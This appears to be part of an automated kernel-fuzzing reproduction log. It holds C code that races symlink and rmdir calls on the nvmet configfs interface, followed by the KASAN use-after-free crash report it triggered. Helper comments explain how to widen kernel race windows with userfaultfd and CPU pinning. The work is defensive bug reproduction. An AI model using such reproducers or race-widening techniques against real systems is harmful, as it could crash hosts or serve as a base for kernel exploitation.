	if (uffd == -1)
		return -1;
	struct uffdio_api api = {.api = UFFD_API, .features = 0};
	if (ioctl(uffd, UFFDIO_API, &api) == -1) {
		close(uffd);
		return -1;
	}
	struct uffdio_register reg = {
	    .range = {.start = (uintptr_t)addr, .len = len},
	    .mode = UFFDIO_REGISTER_MODE_MISSING};
	if (ioctl(uffd, UFFDIO_REGISTER, &reg) == -1) {
		close(uffd);
		return -1;
	}
	return uffd;
}

// --- Guidance on Usage ---
// 1. Use WAIT_ON/SIGNAL for tight race conditions to avoid scheduling overhead.
// 2. Use event_t (futexes) for general coordination or when waiting for longer periods.
// 3. Always use PIN_TO_CPU to increase race probability on multi-core systems.
// 4. Use setup_uffd to register a memory range for page fault handling. This allows you to
//    pause a thread accessing that memory until you handle the fault, creating a reliable
//    and controllable race window.
// 5. Call SETUP_UNBUFFERED_IO() at the start of main() to ensure that logs are printed
//    immediately. This is essential for understanding the exact interleaving of events
//    when debugging race conditions.
// 6. For timing-based loops (e.g., running a race for 10 seconds), do NOT use time(NULL)
//    or loops relying on real-time clocks, as VM clocks are highly unreliable and can fail or drift.
//    Instead, use the robust monotonic timing primitives TIMER_START and TIMER_NOT_EXPIRED:
//        TIMER_START(start);
//        while (TIMER_NOT_EXPIRED(start, 10.0)) {
//            // Your race logic here
//        }

#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <sys/mount.h>
#include <time.h>
#include <errno.h>
#include <string.h>

volatile int stop = 0;

void *symlink_thread(void *arg)
{
    while (!__atomic_load_n(&stop, __ATOMIC_ACQUIRE)) {
        if (syscall(SYS_symlinkat, "/sys/kernel/config/nvmet/subsystems/subsys1", AT_FDCWD, 
                    "/sys/kernel/config/nvmet/ports/1/subsystems/subsys1") == 0) {
            unlink("/sys/kernel/config/nvmet/ports/1/subsystems/subsys1");
        }
    }
    return NULL;
}

void *rmdir_thread(void *arg)
{
    while (!__atomic_load_n(&stop, __ATOMIC_ACQUIRE)) {
        mkdir("/sys/kernel/config/nvmet/ports/1", 0777);
        rmdir("/sys/kernel/config/nvmet/ports/1");
    }
    return NULL;
}

int main()
{
    SETUP_UNBUFFERED_IO();
    
    struct stat st;
    if (stat("/sys/kernel/config", &st) < 0) {
        if (mkdir("/sys/kernel/config", 0777) < 0 && errno != EEXIST) {
            printf("[-] Failed to create /sys/kernel/config: %s\n", strerror(errno));
        }
    }

    if (mount("none", "/sys/kernel/config", "configfs", 0, NULL) < 0) {
        if (errno != EBUSY) {
            printf("[-] Failed to mount configfs: %s\n", strerror(errno));
            return 1;
        }
    }
    printf("[+] configfs mounted or already busy.\n");

    if (stat("/sys/kernel/config/nvmet", &st) < 0) {
        printf("[-] nvmet subsystem not found in configfs: %s\n", strerror(errno));
        return 1;
    }
    printf("[+] nvmet subsystem found.\n");

    if (mkdir("/sys/kernel/config/nvmet/subsystems/subsys1", 0777) < 0 && errno != EEXIST) {
        printf("[-] Failed to create subsys1: %s\n", strerror(errno));
        return 1;
    }
    printf("[+] Created subsys1 successfully.\n");

    pthread_t t1[4], t2[4];
    
    for (int i = 0; i < 4; i++) {
        pthread_create(&t1[i], NULL, symlink_thread, NULL);
        pthread_create(&t2[i], NULL, rmdir_thread, NULL);
    }
    
    TIMER_START(start);
    while (TIMER_NOT_EXPIRED(start, 5.0)) {
        usleep(100000);
    }
    
    __atomic_store_n(&stop, 1, __ATOMIC_RELEASE);
    
    for (int i = 0; i < 4; i++) {
        pthread_join(t1[i], NULL);
        pthread_join(t2[i], NULL);
    }
    
    printf("[+] Done.\n");
    return 0;
}
 Reproduced:true ReproducedBugTitle:KASAN: slab-use-after-free Read in nvmet_port_subsys_allow_link ReproducedCrashReport:==================================================================
BUG: KASAN: slab-use-after-free in nvmet_port_subsys_allow_link+0x41/0x2e0 drivers/nvme/target/configfs.c:1059
Read of size 8 at addr ffff8881987a64c8 by task syz-executor991/5855

CPU: 0 UID: 0 PID: 5855 Comm: syz-executor991 Not tainted syzkaller #1 PREEMPT(full) 
Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
Call Trace:
 <TASK>
 dump_stack_lvl+0xe8/0x150 lib/dump_stack.c:120
 print_address_description+0x55/0x1e0 mm/kasan/report.c:378
 print_report+0x58/0x70 mm/kasan/report.c:482
 kasan_report+0x117/0x150 mm/kasan/report.c:595
 nvmet_port_subsys_allow_link+0x41/0x2e0 drivers/nvme/target/configfs.c:1059
 configfs_symlink+0x59a/0x1030 fs/configfs/symlink.c:196
 vfs_symlink+0x18b/0x330 fs/namei.c:5794
 filename_symlinkat+0x1cd/0x410 fs/namei.c:5819
 __do_sys_symlinkat fs/namei.c:5839 [inline]
 __se_sys_symlinkat+0x4e/0x2b0 fs/namei.c:5834
 do_syscall_x64 arch/x86/entry/syscall_64.c:61 [inline]
 do_syscall_64+0x166/0x520 arch/x86/entry/syscall_64.c:84
 entry_SYSCALL_64_after_hwframe+0x77/0x7f
RIP: 0033:0x7f91233b0459
Code: c0 79 93 eb d5 48 8d 7c 1d 00 eb 99 0f 1f 44 00 00 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 c7 c1 d0 ff ff ff f7 d8 64 89 01 48
RSP: 002b:00007f91213771f8 EFLAGS: 00000246 ORIG_RAX: 000000000000010a
RAX: ffffffffffffffda RBX: 00007f912341d028 RCX: 00007f91233b0459
RDX: 00007f912341d028 RSI: 00000000ffffff9c RDI: 00007f912341d060
RBP: 00007f912341d060 R08: 00007f91213776c0 R09: 00007f91213776c0
R10: 00007f91213776c0 R11: 0000000000000246 R12: ffffffffffffffd0
R13: 0000000000000010 R14: 00007ffd84d38b60 R15: 00007ffd84d38c48
 </TASK>

Allocated by task 5852:
 kasan_save_stack mm/kasan/common.c:57 [inline]
 kasan_save_track+0x3e/0x80 mm/kasan/common.c:78
 poison_kmalloc_redzone mm/kasan/common.c:398 [inline]
 __kasan_kmalloc+0x93/0xb0 mm/kasan/common.c:415
 kasan_kmalloc include/linux/kasan.h:263 [inline]
 __kmalloc_cache_noprof+0x331/0x660 mm/slub.c:5484
 _kmalloc_noprof include/linux/slab.h:988 [inline]
 _kzalloc_noprof include/linux/slab.h:1309 [inline]
 nvmet_ports_make+0xe6/0xf00 drivers/nvme/target/configfs.c:2051
 configfs_mkdir+0x4f6/0x9e0 fs/configfs/dir.c:1360
 vfs_mkdir+0x40c/0x620 fs/namei.c:5410
 filename_mkdirat+0x285/0x510 fs/namei.c:5443
 __do_sys_mkdir fs/namei.c:5470 [inline]
 __se_sys_mkdir+0x34/0x150 fs/namei.c:5467
 do_syscall_x64 arch/x86/entry/syscall_64.c:61 [inline]
 do_syscall_64+0x166/0x520 arch/x86/entry/syscall_64.c:84
 entry_SYSCALL_64_after_hwframe+0x77/0x7f

Freed by task 5854:
 kasan_save_stack mm/kasan/common.c:57 [inline]
 kasan_save_track+0x3e/0x80 mm/kasan/common.c:78
 kasan_save_free_info+0x40/0x50 mm/kasan/generic.c:584
 poison_slab_object mm/kasan/common.c:253 [inline]
 __kasan_slab_free+0x5c/0x80 mm/kasan/common.c:285
 kasan_slab_free include/linux/kasan.h:235 [inline]
 slab_free_hook mm/slub.c:2678 [inline]
 slab_free mm/slub.c:6372 [inline]
 kfree+0x1c5/0x640 mm/slub.c:6687
 config_item_cleanup fs/configfs/item.c:128 [inline]
 config_item_release+0x13a/0x2d0 fs/configfs/item.c:137
 configfs_rmdir+0x885/0x950 fs/configfs/dir.c:1571
 vfs_rmdir+0x3e6/0x6a0 fs/namei.c:5515
 filename_rmdir+0x292/0x520 fs/namei.c:5572
 __do_sys_rmdir fs/namei.c:5595 [inline]
 __se_sys_rmdir+0x2e/0x140 fs/namei.c:5592
 do_syscall_x64 arch/x86/entry/syscall_64.c:61 [inline]
 do_syscall_64+0x166/0x520 arch/x86/entry/syscall_64.c:84
 entry_SYSCALL_64_after_hwframe+0x77/0x7f

The buggy address belongs to the object at ffff8881987a6000
 which belongs to the cache kmalloc-4k of size 4096
The buggy address is located 1224 bytes inside of
 freed 4096-byte region [ffff8881987a6000, ffff8881987a7000)

The buggy address belongs to the physical page:
page: refcount:0 mapcount:0 mapping:0000000000000000 index:0x0 pfn:0x1987a0
head: order:3 mapcount:0 entire_mapcount:0 nr_pages_mapped:0 pincount:0
flags: 0x57ff00000000040(head|node=1|zone=2|lastcpupid=0x7ff)
page_type: f5(slab)
raw: 057ff00000000040 ffff888100042140 dead000000000100 dead000000000122
raw: 0000000000000000 0000000800040004 00000000f5000000 0000000000000000
head: 057ff00000000040 ffff888100042140 dead000000000100 dead000000000122
head: 0000000000000000 0000000800040004 00000000f5000000 0000000000000000
head: 057ff00000000003 fffffffffffffe01 00000000ffffffff 00000000ffffffff
head: ffffffffffffffff 0000000000000000 00000000ffffffff 0000000000000008
page dumped because: kasan: bad access detected
page_owner tracks the page as allocated
page last allocated via order 3, migratetype Unmovable, gfp_mask 0xd20c0(__GFP_IO|__GFP_FS|__GFP_NOWARN|__GFP_NORETRY|__GFP_COMP|__GFP_NOMEMALLOC), pid 1, tgid 1 (swapper/0), ts 16197662015
 set_page_owner include/linux/page_owner.h:33 [inline]
 post_alloc_hook+0x1f9/0x250 mm/page_alloc.c:1871
 prep_new_page mm/page_alloc.c:1879 [inline]
 get_page_from_freelist+0x2209/0x2280 mm/page_alloc.c:3943
 __alloc_frozen_pages_noprof+0x217/0x5a0 mm/page_alloc.c:5436
 alloc_slab_page mm/slub.c:3267 [inline]
 allocate_slab+0x7c/0x5e0 mm/slub.c:3382
 new_slab mm/slub.c:3428 [inline]
 refill_objects+0x2d5/0x350 mm/slub.c:7305
 refill_sheaf mm/slub.c:2805 [inline]
 __pcs_replace_empty_main+0x2c3/0x6b0 mm/slub.c:4677
 alloc_from_pcs mm/slub.c:4775 [inline]
 slab_alloc_node mm/slub.c:4907 [inline]
 __kmalloc_cache_noprof+0x3ab/0x660 mm/slub.c:5480
 _kmalloc_noprof include/linux/slab.h:988 [inline]
 _kzalloc_noprof include/linux/slab.h:1309 [inline]
 kobject_uevent_env+0x289/0x9e0 lib/kobject_uevent.c:543
 kernel_add_sysfs_param+0xb1/0xe0 kernel/params.c:803
 param_sysfs_builtin+0x199/0x250 kernel/params.c:838
 param_sysfs_builtin_init+0x23/0x30 kernel/params.c:974
 do_one_initcall+0x250/0x870 init/main.c:1353
 do_initcall_level+0x10a/0x1a0 init/main.c:1415
 do_initcalls+0x59/0xa0 init/main.c:1431
 kernel_init_freeable+0x29d/0x3e0 init/main.c:1666
 kernel_init+0x22/0x1d0 init/main.c:1556
page last free pid 10 tgid 10 ts 15528039329 stack trace:
 reset_page_owner include/linux/page_owner.h:26 [inline]
 __free_pages_prepare mm/page_alloc.c:1418 [inline]
 free_pages_prepare+0x9b2/0xa90 mm/page_alloc.c:1463
 __free_contig_range_common+0x174/0x340 mm/page_alloc.c:7060
 __free_contig_range mm/page_alloc.c:7105 [inline]
 free_pages_bulk+0x48/0x120 mm/page_alloc.c:5322
 vm_area_free_pages mm/vmalloc.c:3462 [inline]
 vfree+0x226/0x4a0 mm/vmalloc.c:3511
 delayed_vfree_work+0x55/0x80 mm/vmalloc.c:3415
 process_one_work kernel/workqueue.c:3387 [inline]
 process_scheduled_works+0xc3d/0x1630 kernel/workqueue.c:3470
 worker_thread+0x92d/0xe10 kernel/workqueue.c:3551
 kthread+0x38b/0x480 kernel/kthread.c:436
 ret_from_fork+0x514/0xb70 arch/x86/kernel/process.c:158
 ret_from_fork_asm+0x1a/0x30 arch/x86/entry/entry_64.S:245

Memory state around the buggy address:
 ffff8881987a6380: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
 ffff8881987a6400: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
>ffff8881987a6480: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
                                              ^
 ffff8881987a6500: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
 ffff8881987a6580: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
==================================================================
]

268/1 2026/08/26 18:34 action save-repro-c
0m Results:
map[]

LLM Calls Summary:
Total Calls Total Tokens Avg Tokens Total Duration (Seconds) Avg Duration (Seconds)
Tool Calls Summary:
Total Calls Total Duration (Seconds) Avg Duration (Seconds)